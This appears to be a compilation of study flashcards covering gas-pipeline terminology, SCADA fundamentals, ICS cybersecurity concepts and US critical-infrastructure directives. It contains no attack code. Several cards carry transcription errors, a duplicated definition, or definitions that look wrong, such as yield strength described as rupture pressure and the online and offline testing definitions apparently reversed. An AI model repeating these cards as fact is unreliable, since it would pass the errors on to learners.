Sample Piping - Answer: A small size of piping used to secure a sample of the gas flowing through a system; a gas sampler.
Screwed Flange - Answer: A flange which is screwed on the end of a section of pipe.
Scrubber - Answer: A device which filters foreign material from gas.
Secondary Stress - Answer: A device which filters foreign material from gas. The stress produced in the pipe wall by loads other
than internal fluid pressure. The stress may be
caused by traffic, backfill weight, beam activity in a span, or by other sources.
Service Tee - Answer: A steel fitting used to connect a service to a main, or two mains, when the existing main is pressurized.
Generally used on 2" and smaller pipe.
Short Static or Sense Line - Answer: A static line installed between a regulator and a downstream valve. Required on all new installations.
Slip-On Flange - Answer: A flange which slips onto the end of a pipe and is welded to it.
Small Meter - Answer: A positive displacement meter which has a capacity rating of 499 CFH or less with a pressure drop of proposed or actual metering pressures.
SMC - Answer: (1) Specification for Materials and Components; (2)
Service to Main Connection.
SMYS - Answer: Specified Minimum Yield Strength, in PSI; prescribed by the specification under which pipe is purchased from the manufacturer. One of the factors on which design pressure is determined.
Socket Weld Cap - Answer: Used to enable the attachment of anode wire to pipe.
Static Lines or Sense Lines - Answer: A portion of the control piping used to transmit
changes in pipeline pressures to the regulator.
Static Pressure - Answer: Pressure introduced into the diaphragm case of a regulator to oppose the loading element. Also, the pressure introduced into the measuring element of an orifice meter gauge.
Station Piping - Answer: Piping within a compressor or regulator station, other than control, instrument and sample piping.
Steel - Answer: An alloy of iron and carbon and a small amount of other elements, with a carbon content of 2% or less. It is weldable and ductile.
Stub - Answer: A pipeline which has been cut back, terminated, or installed with the intent of tying into or extending it at a later date.
Surging Swage - Answer: An in-line fitting which connects two different-sized pipes. Usually used for small size differences, such as between 3/4 inch and 1 114 inch pipe, or 1 1/4 inch and 2 inch pipe.
Transition Fitting - Answer: A fitting used to connect plastic pipe to steel pipe; it has plastic on one end and steel on the other.
Tubing - Answer: A flexible conduit with wall thickness less than 0.05 inch; see pipe for conduit with wall thickness greater than 0.05 inch.
Turbulence - Answer: A condition of gas in a pipeline or container caused by the gas tumbling or becoming agitated as it flows through a restriction, such as an ell, tee or orifice plate. The gas will generally become more turbulent as the flow increases, less turbulent as the flow decreases.
Two-Way Feed - Answer: Gas flow from two directions.
Underpressure Protection - Answer: A device to prevent too low a pressure downstream from a regulator if the regulator fails in a closed position. Often called standby regulation.
Upstream - Answer: The direction from which the gas is flowing.
Valve - Answer: A device for stopping or manually controlling flow in pipe or tubing; there are several types of valves in use: ball, gate, and plug valves are common.
Wall Thickness - Answer: The thickness of the wall of a pipe; it is the difference between the inside and outside diameters. Generally, the larger diameter of the pipe, the thicker the wall will be.
Warming Lines - Answer: Additional piping installed between first and second stage regulation to allow the gas to warm up between the two stages of regulation, because the pressure drop causes the gas to drop in temperature (see freezing). Other methods include wrapping the regulation equipment with insulating material, and installing thermostatically controlled electric heating elements.
Water Column (WC) - Answer: A measurement of pressure, expressed as inches of water column, where 27.7 inches is equal to I PSI at 60 degrees Fahrenheit.
Wedding Band - Answer: An axially split, short length of cylindrical plate, i.e., two half-cylinders of plate, used to join two pieces of pipe by welding both halves of the band together and to each piece of the pipe. The inside diameter of the band is the same as the outside diameter of the pipes to be joined.
Working Regulator - Answer: A regulator which at all times controls downstream pressure. This regulator is :frequently called a service regulator and is identified by a metal tag stamped with the letter 'S'.
Yardline - Answer: A portion of the houseline located between the MSA and the house piping of the structure served, usually underground. Generally found when the MSA is at or near the curb.
Yield Strength (Pipe) - Answer: The pressure at which a type of pipe (steel or plastic) will rupture under laboratory conditions.
Quantity - Answer: The amount of gas, either in a container or expressed as rate of flow, corrected to standard conditions of
14.73 PSIA and 60 degrees Fahrenheit (760 mm Hg and 270 K)
Rectifier Station - Answer: Converts alternating current (AC) to direct current (DC) to cathodically protect large areas of steel pipeline.
Pressure Gauge - Answer: A pressure measuring device generally consisting of a very carefully calibrated bourdon tube. A pointer or indicator is fixed to the free end of the tube, and will register the pressure within a container or pipe to which the gauge is connected. This gauge normally does not measure atmospheric pressure. These
gauges are frequently referred to as spring gauges or as Laboratory test gauges, and are also identified by a pressure rating of 30#, 60#, 100#, 500#, and so on. This pressure rating is the highest pressure the gauge will measure.
Pressure Limiting Device - Answer: An overpressure protection device which will limit pressure to prevent overpressure downstream piping. It may be a regulator, relief valve, or automatic shut off.
Pressure Limiting Valve (PLV) - Answer: An automatic overpressure shut-off device which will shut off the gas flow when the pressure downstream of the regulator exceeds a predetermined amount. The PLV is provided with a breakable element which ruptures and shuts the valve and, when ruptured, must be replaced in order to reopen the valve.
Pressure Reducing Regulator - Answer: A regulator which maintains or limits downstream pressure.
Pressure Relieving Device - Answer: Usually called a relief valve; an overpressure protection device which will vent gas to atmosphere or to a lower pressure installation when the pressure delivered by the regulator exceeds a predetermined amount.
Proportional Band - Answer: Ina regulator, the difference in controlled (downstream) pressure between closing and maximum flow. A regulator may be adjusted to deliver a definite pressure, such as 3 lb, into a pipeline when there is no gas being used. Then as the volume of gas used increases, the pressure will gradually drop until the regulator has reached its maximum capacity. At this point the downstream pressure may have dropped to 2.4 lb. The proportional band of this regulator is 0.6 lb.
Preheating - Answer: The application of heat to the base metal prior to welding or putting the metal.
Pressure (PSIG) - Answer: The force per unit area exerted by a fluid, expressed in pounds per square inch above atmospheric pressure, i.e., gauge pressure or PSIG. Inthis glossary, gauge pressure is implied by the term PSI.
Pressure Control Bottom Out Fitting (BO, PFBO, PCFBO) - Answer: A fitting which allows mechanical interruption of
gas flow by inserting a rubber stopper into the fitting, and also allows gas to be diverted through the
bottom of the fitting, to supply a new section of piping.
Plastic Pipe - Answer: Pipe made of high-density polyethylene (HDPE), which is more flexible than steel and will not corrode. It is easier to damage with construction equipment than steel pipe, however, and is not currently available in sizes over 8 inch.
Plate - Answer: An extra piece of flat steel taken into the field to use for various purposes.
One-Way Feed - Answer: Gas flow from one direction only.
Orifice - Answer: An restriction installed in piping to limit flow or produce a pressure differential.
Outlet Pressure - Answer: The pressure at the outlet of any device such as a regulator, meter, MSA, a section of piping, or a District regulator Station. Frequently called downstream pressure
Overpressure Protection - Answer: A device or method to prevent excessive pressure downstream of a regulator if the regulator fails in an open position. It may be a regulator, a pressure relieving device, or pressure limiting device.
Pilot Flow - Answer: The amount of gas needed to supply only pilots of
the customer's appliances. A house-type regulator set to deliver 8 inch WC pressure under flow conditions should deliver no more than 10 inch WC pressure during pilot flow.
Pilot Regulator - Answer: A small regulator used to operate a larger regulator.
Pinching - Answer: A method of stopping the flow of gas in both mains and services by pinching the pipe walls together. On copper pipe it is usually called squeezing.
Metering Station - Answer: Facilities used to measure gas, other than for customer consumption. Stations which provide both metering and pressure control functions are pressure control stations.
Mill Test - Answer: A hydrostatic test given to pipe before delivery by the manufacturer, to insure its strength. The test pressure is determined by specification and is a factor in determining its design pressure
Miter Bend - Answer: A method of changing pipe direction by cutting the pipe at an angle and welding the cut ends. Used for angles which are too large for simple bends and for which ells cannot be used.
MMSA - Answer: Multiple Meter Set Assembly; usually called a header; an MSA with more than one meter on a single service.
Modulating Valve - Answer: A power-operated valve that partially opens and closes as required by gas pressure in a pipeline.
Leak Test - Answer: A test of piping to determine that it will not leak when subjected to the pressure for which it was designed. Itmay be a pressure stand-up test or a bubble test. All new mains are pressure tested.
Line Pressure - Answer: The gas pressure inside a pipeline.
Load -Demand - Answer: The volume of gas required in the downstream piping to maintain the necessary supply to the customer or service facility.
Location Class - Answer: The type of area, based on population density and other characteristics, which determines the construction type.
Lockup - Answer: The condition where there is no leakage through the valve in the regulator.
Lockup Difference - Answer: The minimum amount of pressure increase in a regulator from its gauge pressure to lockup pressure.
Lockup Pressure - Answer: The minimum pressure at which the regulator achieves lockup.
Low Pressure - Answer: Company terminology for gas pressure of 12 inch WC or less.
Main - Answer: A segment of the piping system which delivers gas to services and to other mains.
Major Pressure Control Station - Answer: The facilities used to control pressure where inlet pressure is more than 400 PSI and flow is 5 MMCFH or more. Sometimes called Pressure Limiting Station.
Malleable Iron - Answer: Annealed cast iron. It is non-weldable but moderately ductile.
General Order (G.O.) - Answer: G.O. 112 is a document of the California PUC
setting out rules governing design, construction, testing and maintenance of gas transmission and distribution piping systems.
Half Sole - Answer: Half of a wedding band, used for reinforcement.
Header - Answer: A pipe on which one or more lateral connection are provided; particularly used for multiple meter assemblies (MMSA).
High Pressure - Answer: Company terminology for gas pressure of 60 lb or more.
Hoop Stress - Answer: The stress in a pipe wall acting circumferentially in a plane perpendicular to the longitudinal axis of the pipe (that is, around the pipe and at a right angle to its centerline) and produced by the pressure of the fluid (the gas) in the pipe.
Hot Pinch - Answer: A method of closing steel pipe; to heat the pipe and pinch closed.
Hot Spot Anode - Answer: An extra anode in a location where there is a lot of corrosion. Not usually recorded on atlas sheets.
Hot Tap - Answer: A tap made on piping while it contains gas under pressure.
Houseline - Answer: All piping installed beyond the last fitting on the outlet side of the meter set, up to the customer's appliances. It is owned by the customer. Ifa portion of the houseline is located between the MSA and the house piping of the structure served, it is referred to as yardline, and is usually buried.
Houseline Pressure - Answer: Pressure delivered to the customer.
Impressed Current Anode - Answer: An anode with current run through it for better cathodic protection.
Industrial - Answer: A descriptive term to distinguish large consumers from small consumers. It does not conform to the rate paid.
Inlet Pressure - Answer: The pressure at the inlet of any device, such as a regulator, meter, a section of piping, or a district regulator station. Frequently called upstream pressure.
Flange Tee - Answer: A fitting used for making connections between services and large mains, or for lateral connections to the top of pipelines. An insulated connection used on pipe of 3 inch or larger diameter.
Freezing or Icing - Answer: The formation of frost or ice inside the regulator and adjacent piping. Pressure drop across the regulator reduces the temperature of the gas, and may cause
:freezing of the moisture in the gas.
Full Encirclement Reinforcement - Answer: A band that goes around the entire pipe for
reinforcement.
Fusion Coupling - Answer: A connection method used on plastic pipe.
Extension Fitting - Answer: A connection on the side of a pressurized steel pipeline, already attached to pipe; obsolete.
Extension High Head Grease - Answer: A fitting on top of a valve; a tube which pumps grease into the valve so it will not stick and may be turned easily.
Feeder - Answer: A segment of piping used to supply other segments, which are normally of smaller size; usually a large mam.
Field Fabricated - Answer: Usually refers to a dead end plate made by a crew from a piece of plate, but may include also risers and reducers if the situation requires. Pressure fittings can be field fabricated by boring, in order to make a larger piece of pipe fit them.
Expansion Joint - Answer: A gas-tight fitting that allows for horizontal movement of the pipeline; obsolete, but still found in some areas. Similar to a swing joint in some ways.
Extended Static or Sense Line - Answer: Sometimes called 'long static'; a static line installed across a valve downstream from a regulator. Used only when needed to compensate for drop across a valve or fittings, or to obtain a better sensing point.
Filter - Answer: Any device used to screen foreign material from gas flowing in a pipeline.
Fishtail - Answer: A method of closing steel pipe; the pipe is pinched twice, a piece is removed, then the pinch is welded closed.
Flange - Answer: A fitting using a gasket and bolts as a means of connecting pipelines.
Gas Pressure - Answer: The action of the gas against some opposing force, for example the walls of a pipe or a container of any sort. Particularly used of gas in measuring devices.
Gas Stop - Answer: A device for stopping flow in pipe or tubing.
Gate Valve (GV) - Answer: A device used as a shut-off for stopping the flow in piping. A common,type of valve.
Gear Box - Answer: A box on the side of a valve, containing gears to help turn a large valve on or off. In the largest sizes may be motorized.
Instrument Piping - Answer: Small-sized piping which transmits pressure or flow to instruments.
Insulating Kit - Answer: Accompanies the flanges of an insulating joint. It
prevents metal-to-metal contact.
Insulation - Answer: A nonconductive material applied to piping to prevent or slow electrical current or heat from entering or leaving piping.
Intended Operating Pressure (IOP) - Answer: The pressure, as established by the design engineer, at which a segment of piping is intended to operate for greatest efficiency. IOP is primarily determined by operating conditions and foreseeable future planning, rather than physical equipment.
Intermittent - Answer: A controlled bleed, applying only to atmospheric bleed. By using certain types of controllers or pilot installations it is possible to restrict a bleed to atmosphere to positive limited periods when changes are being made in the downstream pressure. Also, intermittent as opposed to constant bleed.
Kerotest - Answer: A fiberglass fitting which acts as an insulator.
Lap Joint - Answer: Ajoint with a flange; also, ajoint where two pieces overlap and are welded or fused.
Large Meter - Answer: A positive displacement meter which has a capacity of more than 1200 CFM or greater, with a pressure drop of 112 inch WC, at standard pressure or actual metering pressures. All rotary displacement meters are large meters.
Lateral - Answer: A segment of piping used to deliver to another segment which normally is of larger size and supplies other laterals; pipe normally installed at right angles to the supplying segment. Also a branch supply line, usually designated by a letter or a letter and number at the end of the supply line number, such as SL 30-02A.
Lead Coupling, Lead Diaphragm Coupling (LC, LDC) - Answer: A section of steel pipe with a lead disk inside which stops the flow of gas. When the pipe is extended, the section may be heated to melt the lead and allow gas to flow through. Obsolete, but still found in some areas.
Leak Clamp - Answer: A clamp with a rubber sheet inside, which goes around the pipe to seal off a leak. Used on steel pipe mostly for temporary repairs.
Manometer - Answer: A pressure measuring device consisting of a length of transparent tubing bent sharply into a U, a scale, and suitable mounting. The scale is mounted alongside or behind the tubing and is calibrated both up and down from a zero point midway in the length of the U. The tube is half filled with water. The water manometer is used for measuring gas pressure in inches of water column (WC). The scale is marked and read in inches and tenths. At 60 degrees Fahrenheit, 27.73 inches of water is equivalent to 1 PSI. Occasionally this device may be called a water
column or U gauge. Another type of manometer used by some units in the Company is a well-type device where the height of a single column of fluid is read from a scale.
MAOP - Answer: Maximum Allowable Operating Pressure. The maximum pressure at which a portion of the piping system is qualified to operate. Ifthe term is applied to an entire system, the MAOP should be no greater than that of the weakest segment in the system.
Maximum Test Pressure - Answer: The maximum internal fluid pressure permitted by standards for testing materials. Inthe case of valves, regulators, and flanges, this is determined by the manufacturer.
Medium Meter - Answer: A positive displacement meter which has a capacity rating of 500 - 1199 CFH with a pressure drop of 112 inch WC at standard pressure, regardless of the proposed or actual metering pressures.
Medium Pressure - Answer: InCompany terminology, gas pressure of at least 12 inches WC, but less than 60 PSI.
Meter - Answer: A device for measuring gas quantity or usage. It includes rotary displacement, diaphragm displacement, and orifice type meters.
--------------------------------------
what does SCADA stand for? - Answer: supervisory control and data acquisition.
what factor makes SCADA different from other control and monitoring systems? - Answer: the distance between the process on the central control area is normally much greater in a SCADA system.
Most SCADA have communication systems that operate between MTU and RTU at low data rates how does this system get away with this and how does it affect the selection of communication equipment? - Answer: because most of the decisions are made at the RTU your high-speed media is present, but cheaper more available media can be used.
what are the three primary subsystems of a SCADA system? - Answer: MTU's, RTU's, and communication equipment.
Two communication medias are used frequently in SCADA systems what are they? - Answer: landline or radio.
what three characteristics of a process make them potential candidates for a SCADA system? - Answer: 1 cover large amount of space
2 be controlled by simple instruction / monitoring
3 a fast response for good operation
in a process the temperature of a heated liquid or the status of an open/close valve which of these parameters can be monitored by SCADA systems? - Answer: by selecting end devices properly and configuring the system properly all of them can be monitored.
from where did a processor receive their electrical energy? - Answer: RTU's provide sensor power.
why is a UPS needed at a RTU's site? - Answer: they must be reliable during power interruptions this is often the time that the process variables the RTU's monitoring become the most important
what does ups stand for? - Answer: uninterruptible power supply
--------------------------------------
Physical Assets - Answer: Workstation
servers
network switches
PLC
Logical Assets - Answer: Database
Logic Program
Firewall ruleset
firmware and etc.
CCA - Answer: Critical Cyber Asset
UTM - Answer: Unified Threat Management
DMZ - Answer: Demilitarized Zone
RAT - Answer: Remote Administration toolkit
APT - Answer: Advanced Persistent Threat
Motivation for Cyber Warfare - Answer: Higher sophistication and NOT motivated by money.
APD - Answer: Advanced Persistent Diligence
DiD - Answer: Defense In Depth
PCS - Answer: Process Control System
DCS - Answer: Distributed Control System
SiS - Answer: Safety instrumented Systems
System Assets of ICS - Answer: PLC
RTU
IED
HMI
Supervisory Workstation
Data Historian
SiS
SmartGrid
PLC - Answer: Programmable Logic Controller
RTU - Answer: Remote Terminal Unit
IED - Answer: Intelligent Electronic Device
HMI - Answer: Human-Machine Interface
Characteristics of Supervisory Workstation. - Answer: Provides collected info on assets
Primarily Read-Only
Characteristics of a Data Historian - Answer: Collects point values, alarms, records, and other info in a historian database.
What is a Safety Instrumented System (SiS) - Answer: Detects and potentially responds to unsafe process events.
can override controller BPCS if it needs too.
Physical components of a SiS - Answer: Relief Valves
Rupture Disks
Flare Systems
Governors
What is a SmartGrid - Answer: Sophisticated/complex interconnections of different systems with different zones linking the customer/consumer to the industrial system.
3 system operations of ICS - Answer: Phases
Control Processes
Control Loops
Open Loop - Answer: Manual control
nobs/dials within HMI that cause immediate operation.
Closed Loop - Answer: Automated Control.
Think set levels within HMI of our wall.
Control Loops - Answer: Closed loop and open loop.
Control Processes - Answer: Consists of several control loops to accomplish functions.
Phases - Answer: Consists of several control processes to accomplish batch.
Steps for securing common industral systems. - Answer: 1. Identify systems that need protection.
2. seperate systems logically into groups.
3. implement DiD around/between systems and groups.
4. control access in and between systems and groups.
5. monitor activities in and between systems and groups.
6. Limit executions within and between systems and groups.
7 common topologies - Answer: Bus
Mesh
Wireless Mesh
Star
Branch/Tree
Ring
Multi-homing/dual-homing
Bus topology - Answer: Supports serially connected devices.
Resources of net are shared.
Cheap but limited in performance.
Mesh Topology - Answer: Max performance and up-time.
reliable due to multiple paths.
use in industrial net.
Wireless mesh topology - Answer: relies on provisioning to control info flow.
Theoretically less reliable due to interference.
Star topology - Answer: Point-to-multi point
From controller to device/sensors.
Branch/Tree topology - Answer: Hierarchically connected.
One topology supports several other topologies.
Ring Topology - Answer: Used in System/subsystem.
Connected serially.
Multi-homing/dual-homing - Answer: Makes resources assess-able to multiple zones.
not recommended for security reasons.
IAM - Answer: Identify and Access Management
Characteristics of Remote Access - Answer: VPN, Two Factor Authentication.
QoS - Answer: Quality of Service
What layer is Modbus in? - Answer: Application layer messaging protocol (layer 7).
How does Modbus work? - Answer: Request/response principle.
What are the 3 distinct PDU's of a modbus? - Answer: Modbus request.
Modbus Response (no Errors) - Function Code.
Modbus Exception Response (Error) - Exception Function Code.
Where is Modbus used? - Answer: Between PLCs, HMIs, Drivers, Sensors, etc.
Modbus Security Concerns - Answer: Lack of authentication (only require a valid address)
Lack of Encryption
Lack of Message checksum (susceptible to spoofing).
Lack of Broadcast suppression.
Security Recommendations for Modbus - Answer: ICS-aware intrusion protection systems.
Application aware firewall
Industrial Protocol Filter
Application data monitor
Use inter-control center communication protocol instead of Modbus with digital certs.
Purpos of Modbus - Answer: Allows real-time communication between interconnected assets.
OPC - Answer: Open Process Communication
Where is OPC used? - Answer: Data transfer to data historian.
Data Collection within HMI's
Connectivity between fieldbus protocols and ICS servers.
What does OPC do? - Answer: Provide higher level integration between systems and subsystems.
OPC security concerns - Answer: legacy authentication services - difficult to update.
RPC vulnerabilities.
unnecessary ports/service
Server integrity - possible to create rogue server.
OPC security recommendations - Answer: OPC unified architecture (Update).
All unnecessary ports/services removal/disable.
Isolate into zone consisting only of authorized devices.
Application aware firewalls, intrusion prevention sys. etc.
Common attacks on a ICS - Answer: Man in the middle.
Denial of Service.
Replay attacks.
Blended attacks.
Common industrial targets. - Answer: Identify and Access Management servers.
Engineering Workstations.
Operator consoles.
Protocols.
Results of compromised ICS Protocols. - Answer: Force system stop.
Crashing CPU same state.
Dumping device boot code.
Device reset.
Device Crash.
Flash Update.
Dealing with infection of ICS. - Answer: Dont immediately clean system.
Isolate to perform forensics.
Analyze memory for rootkits.
Clone disk images.
Reverse engineer malware.
Retain all info for disclosure to authorities.
Risk and Vulnerability Assessment: Why? - Answer: Reduce business risk.
Important key performance indicator (KPD) to evalulate a company.
Risk and Vulnerability Assessment: What? - Answer: Potential that a given threat will exploit vulnerabilities of an asset.
Risk and Vulnerability Assessment: How? - Answer: 1. System Characterization
A. Asset Identification (PLCs, RTUs, IEDs)
B. Entry points (ports, protocols, wireless gateways)
C. Trust boundaries (zones and conduits)
2. identify threat events, sources, vectors.
3. Identify vulnerabilities and existing system conditions.
4. Classify identified risks by measuring impact/likelihood.
5. Determine Risk by ranking vulnerabilities.
6. Recommend controls through a mitigation plan.
Risk and Vulnerability Assessment: Tools Used - Answer: Metasploit and Cyber Security Evaluation Tool (CSET)
Risk and Vulnerability Assessment: Methods Used - Answer: Online Testing.
Offline Testing.
White Box Testing.
Black Box Testing.
Offline testing - Answer: Represents completely functional/operational ICS.
Online Testing - Answer: Reflect only small subset of ICS architecture.
White Box Testing - Answer: Identifies vulnerabilities that could lead to exploitation.
Requires given access to a system.
Generally more consistent than BB testing.
Black Box Testing - Answer: Represents system in POV of a general hacker.
No given access required.
Effectiveness only as good as skill of the pen tester.
All ICS protocols - Answer: Modbus
DNP3
OPC
ICCP
CIP
Foundation Fieldbus HSE
Wireless HART
Profinet
Profibus
--------------------------------------
CIA triad priority (For SCADA) Confidentiality = Low
Integrity = Medium
Availability = High
- ICS/SCADA are time critical!
CIA Triad priority (For IT) Confidentiality = High
Integrity = Medium
Availability = Low
ICS Interdependencies - Cascading Effects Power outage in one section could affect the entire grid, affecting other ICS areas
PDD-63 (Presidential Decision Directive 63) - (1998) Established "Critical Infrastructure Protection" CIP Program
- Asses/Plan/Eliminate vulnerabilities of ICSs
- Assigned Sector Specific Agencies (SSAs) to each critical sector
- Needed Revision in 2002 w/Homeland Security Act
Critical Infrastructure Protection (CIP) Assure the security of vulnerable and interconnected infrastructures of the United States
Homeland Security Act of 2002 - Created the Department of Homeland Security
- Created NCCIC
- Assigned DHS as responsible org for securing critical infrastructure
HSPD-7 (Homeland Security Presidential Directive) - (2003) issued specifically for Critical Infrastructure Identification, Prioritization, and Protection (CIIPP)
- National Infrastructure Protection Plan
- Designated the Secretary of DHS as "principal Federal Official to lead agencies, State and local governments, and private sector."
CIIPP (Critical Infrastructure Identification, Prioritization, and Protection) Critical Infrastructure Identification, Prioritization, and Protection
- Focus of HSPD-7
NIPP (National Infrastructure Protection Plan) National Infrastructure Protection Plan
- created by DHS IAW HSPD-7
- 17 CIKR Sectors, overseen by 9 SSAs
- The NIPP provided the unifying structure for the integration of existing and future CIKR protection efforts and resiliency strategies into a single national program to achieve a united goal.
CIKR - Critical Infrastructure and Key Resource sectors (17) which are overseen by 9 Sector Specific Agencies (SSA)
- HSPD-7 -> NIPP -> CIKRs
CISPA (Cyber Intelligence Sharing and Protection Act) Cyber Intelligence Sharing and Protection Act
- Legislation allowed for the sharing of Internet traffic information between the US government and certain technology/manufacturing companies.
- Failed to pass Senate twice over civil liberties concerns (2012 and 2013)
PPD-21 (Presidential Policy Directive)
AKA (E.O. 13636) Superseded HSPD-7, titled "Improving Critical Infrastructure Cybersecurity" (Feb 2013)
- Govt sharing both unclass and class threat information with private companies
- Expanded current Joint Cybersecurity Services Program to include all U.S. Critical Infrastructure sectors
- priority on privacy and civil liberties protections
- Reduces critical sectors to 16
E.O. 13691 - (Feb 2015) "Promoting Private Sector Cybersecurity Information Sharing"
- Builds on PPD-21
- Encouraged the development of information sharing and analysis organizations (ISAOs)
ISAOs (Information Sharing and Analysis Organizations) - Encouraged to be formed under E.O. 13691
- focal points for cybersecurity information sharing and collaboration within the private sector and between the private sector and government
- More narrowly focused then ISACs, could be organized by emerging threat or vulnerabilities
- could be organized by industry, an industry sub-sector, region or any other affinity
ISACs (Information Sharing and Analysis Centers) - Currently 19 ISACs
- In response to PDD-63, some SSAs established sector specific ISACs
- Trusted entities established by CI/KR owners and share info w/ sector, other sectors, and govt.
- The individual private/public sector ISAC's possess an outreach and connectivity network to approximately 85% of the U.S. critical infrastructure
NCCIC (National Cybersecurity and Communications Integration Center) - Established under HSA of 2002
- Has 4 Branches
- 24x7 cyber situational awareness, incident response, and management center
- Facilitate continuous, collaborative, and inclusive coordination with ISAOs
- authority to enter into voluntary agreements with ISAOs in relation to critical infrastructure security
NCCIC Four Branches 1) NCCIC Operations and Integration (NO&I)
2) US-CERT
3) ICS-CERT
4) National Coordinating Center for Communications (NCC)
USAF CIP - Air Force outlines their support for CIP in AFPD 10-24
- The individual/ section responsible for implementing CIP:
- Air Force CIO to the HQ USAF Deputy Chief of Staff AF/A3/5
SCADA Supervisory control and data acquisition
DoD CIP Responsibility - The DoD is responsible for protecting its portion of the government's critical infrastructure
- There are 10 defense critical infrastructure sectors
- Protected by the DoD IAW DoDD 3020.40
Finance (DFAS),
DoDIN (DISA),
Health Affairs (Asst. Secretary of Defense for Health Affairs),
Transportation (TRANSCOM),
Space (STRATCOM),
public works (Army Corps of Engineers)
DoDD 3020.40 Regulation that there are ten defense critical infrastructure sectors that are protected by the DoD
AFPD 10-24 Air Force document that outline their support for the CIP.
DoD CIP Lifecycle
(6-Steps) 1) Analysis & assessment (MOST IMPORTANT)
2) Remediation
3) I&W
4) Mitigation
5) Response
6) Reconstitution (MOST DIFFICULT)
DoD CIP Lifecycle: Analysis and Assessment [occurs before and event]
- MOST IMPORTANT PHASE!!!!
- identities assets critical to mission success
- determines the assets' vulnerabilities, interdependencies, configurations, and characteristics
DoD CIP Lifecycle: Remediation [occurs before and event]
- precautionary measures taken before an event occurs to fix known vulnerabilities
DoD CIP Lifecycle: Indicators and Warnings [occurs before and/or during an event]
- daily sector monitoring & notification to asset owner of possible threat
DoD CIP Lifecycle: Mitigation [occurs before and/or during and event]
- Actions taken before and during an event in response to warnings or incidents
DoD CIP Lifecycle: Incident Response [occurs after and event]
- plans and activities taken to eliminate the cause or source of an infrastructure event
DoD CIP Lifecycle: Reconstitution [after and incident]
- actions taken to rebuild or restore a critical asset capability after its been damaged or destroyed;
- most challenging and least developed process
ICS General term that includes server types of control systems including SCADA systems, distributed control systems, and other control system configurations such as skid-mounted or panel-mounted programmable logic controllers often found in the industrial sector and critical infrastructure.
- Typically used in industries, 90% of nation's critical infrastructures are privately owned and operated.
What are the four types of ICSs SCADA (Supervisory Control and Data Acquisition),
DCS (Distributed Control System),
EMCS (Energy Management and Control Systems),
BAS (Building Automation Systems)
Describe SCADA - System used to control geographically dispersed assets
- scattered over thousands of square kilometers, where centralized data acquisition and control are critical to system operation
- three types: Monolithic, Distributed, and Networked.
Monolithic SCADA Systems - old, stand-alone system (mainframe)
- Vendor proprietary protocols
- Primary and a backup, connected at the bus level. Not like the networks we have today.
Distributed SCADA Systems - Distributes processing across multiple systems (LAN)
- Based on LAN protocols
- Not able to stretch past the LOCAL environment
- Some Proprietary Protocols
Networked SCADA Systems - Open system architecture instead of vendor controlled, proprietary
- Distributed across a WAN (TCP/IP)
DCS Distributed control systems
- Like SCADA but smaller, same geographic location
- Controls processes in plant (PLCs w/ PID controllers)
- done by feedback and feedforward control loops
EMCS Energy Management and Control Systems (e.g., HVAC, Lighting, etc).
- Campus / High Rise Bldg / Installation
- Controls lights/HVAC usage to save money
- "monitor's the building's main utility meter and minimizes demand changes by shedding controllable loads for short time periods."
BAS Building Automation System (example of a DCS).
- Deployed to a Bldg
- Example of a DCS
- Controls Lights/HVAC/Power
- Intelligent Building System
Computerized, intelligent network of electronic devices, designed to monitor and control the mechanical and lighting systems in a building and keeps building climate in specified range. Reduces building energy and maintenance costs when compared to a non-controlled building. "Intelligent Building System".
MTU Master Terminal Unit.
- heart of a SCADA system
- located at the operator's central control facility
- Initiates virtually all communication with remote sites and interfaces with an operator.
- Polls for data and controls slave devices.
PLC Programmable Logic Controller.
- Computer-based, solid-state devices that control almost all industrial equipment and processes.
- Logic-level control devices.
PLC Standards-based Languages (Five) function block diagram (FBD),
ladder diagram (LD),
structured text (ST),
instruction list (IL),
sequential function chart (SFC)
Open control loop - No feedback in control signal
- i.e.: A sprinkler, A microwave running for a set time.
Closed control loop - Feedback or Feedforward to control.
- Like a screen brightness adjusting to ambient light. (state machine)
PID (Proportional-Integral-Derivative Controller) - Used to maintain the output at a predetermined level
- i.e. setpoint
PV(Process Variable) - SP(Set Point) = error
PID - Proportional Control - Changes based on "current errors"
- Common trait is "Offset"
- Gain = 100% / PB in %
- Requires Integral Control to control oscillation
- PB is defined as the amount of change in the controlled variable required to drive the loop output from 0 to 100%
PID - Integral Control - Changes based on "past errors"
- Over time, the integral action will drive the controller's output far enough to reduce the error to zero
PID - Derivative Control - Changes based on "future errors"
- Allows you to have bigger P and I gains and still keep the loop stable
- Gives you a faster response and better loop performance
RTU (Remote Terminal Unit) - control unit designed to support SCADA remote stations (wired and wireless/RF)
- Many RTU's have PLC-like capabilities
- Gathers data from field devices in memory until the MTU initiates a send command or request.
IED (Intelligent Electronic Devices) - Smart sensor/actuator
- acquire data, communicate to other devices, and perform local processing and control
- protective relays, load tap changer controllers, circuit breaker controllers, capacitor bank switches, re-closer controllers, and voltage regulators.
HMI (Human Machine Interface) - Allows human operators to monitor/modify/override the state of a process under control
- Override for emergency
Data Historian Centralized database for logging all process information within an ICS.
Remote Diagnostics and Maintenance Utilities used to prevent, identify and recover from abnormal operation or failures
Network Components - Fieldbus Network - links sensors and other devices to the PLC or other controller
- Daisy chain
Network Components - Control Network connects the supervisory control level to lower-level control modules
Network Components - Layer 2/3 devices - communication devices that transfer messages between two networks.
- connecting MTUs to RTUs
Calculate expected data througput X bytes of data / speed (baud) = throuput in seconds
PIT Systems Platform IT Systems: ICSs that do not have a direct connection to the AF-GIG
- Must go through C&A process
- Does not leave base level!
PITI PIT interconnection: A connection to the AF-GIG exists for the ICS
- Must go through DIACAP C&A process
- AFI 33-210: AF C&A Process (AFCAP)
Types of ICS LANs Two firewalls (most common),
control system as a dmz,
business lan as a backbone,
dial-up access to the RTUs,
Vendor support,
IT controlled communication gear, corporate VPNs, database links, peer utility links, sending commands directly to the data acquisition equipment, and exporting the HMI screen, changing the database
Types of Communications media licensed radio,
(unlicensed) spread spectrum radio,
cellular,
land line,
microwave,
satellite
Describe licensed radio Purchase license from the FCC
- transmit at up to 5 watts of power
- 40-50 miles
- 1 repeater
Describe spread spectrum radio - transmit 30 dBm (1 watt) power
- 10-20 miles
- multiple repeaters
- repeater radios gnerally have built-in error correction and encryption
- no guarantee of data integrity or operating performance
Describe Microwave - widely used for point-to-point communications
- small wavelength, direct in narrow beams
- 30x bandwidth than radio
- line of site
- high cost (infrastructure)
DHS proposed zones to segment information architecture
(Five Zones) 1) External
2) Corporate
3) Manufacturing/data
4) Control/cell
5) Safety (HIGHEST PRIORITY)
External Zone - Untrusted
- Area of connectivity to internet
- Not DMZ
- highest risks
